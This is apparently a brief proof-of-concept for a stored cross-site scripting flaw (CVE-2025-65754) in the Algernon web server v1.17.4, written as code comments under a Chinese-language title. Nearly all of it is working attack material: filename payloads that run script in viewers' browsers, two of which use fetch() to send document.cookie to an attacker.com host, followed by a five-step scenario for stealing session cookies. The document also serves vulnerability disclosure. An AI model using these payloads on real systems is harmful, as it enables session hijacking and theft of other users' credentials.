CVE-2025-65754 Algernon v1.17.4跨站脚本漏洞

// CVE-2025-65754 PoC - Stored XSS in Algernon filename // Upload a file with malicious filename containing XSS payload // When other users view the file, the XSS will be executed // Example malicious filename: // <script>alert(document.cookie)</script>.txt // <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> // <svg/onload=fetch('http://attacker.com?data='+btoa(document.cookie))> // Attack scenario: // 1. Attacker uploads file with XSS payload in filename // 2. Server stores the file with unsanitized filename // 3. Victim accesses file listing or downloads the file // 4. Victim's browser executes the injected JavaScript // 5. Attacker steals session cookies or performs actions on behalf of victim